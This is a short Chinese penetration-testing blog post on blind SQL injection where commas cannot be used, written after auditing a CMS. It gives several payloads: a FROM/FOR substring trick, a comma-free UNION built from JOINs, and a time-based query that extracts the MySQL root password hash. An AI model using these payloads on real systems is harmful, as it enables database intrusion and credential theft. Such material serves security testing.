[渗透测试]SQL注入不使用逗号

Posted by

审计cms发现一个这样的环境:

$l_id = get(‘arr’,’l_id’);

$ids = explode(‘,’,$l_id);

拼接post中数组的请求,然后再用逗号分隔,最后带入了SQL查询。

于是就遇到了不能使用逗号的情况。

默认

display_error=off

无显错,只能盲注。

 

解决方案:

主要解决substring的逗号问题。

参考文档:http://dev.mysql.com/doc/refman/5.0/en/string-functions.html#function_substring

 

select * from table1 where id =1 and exists
(select * from table2 where ord(substring(username from 1 for 1))=97);

 

127′ UNION SELECT * FROM ((SELECT 1)a JOIN
(SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d JOIN (SELECT 5)e)#

 

select case when substring((select password
from mysql.user where user=’root’) from 1 for 1)=’e’ then sleep(5) else 0 end #

 

substring((select password from mysql.user
where user=’root’) from -1
=’e’

 

以上例句请根据自己的情况而定。

 

Leave a Reply

电子邮件地址不会被公开。 必填项已用*标注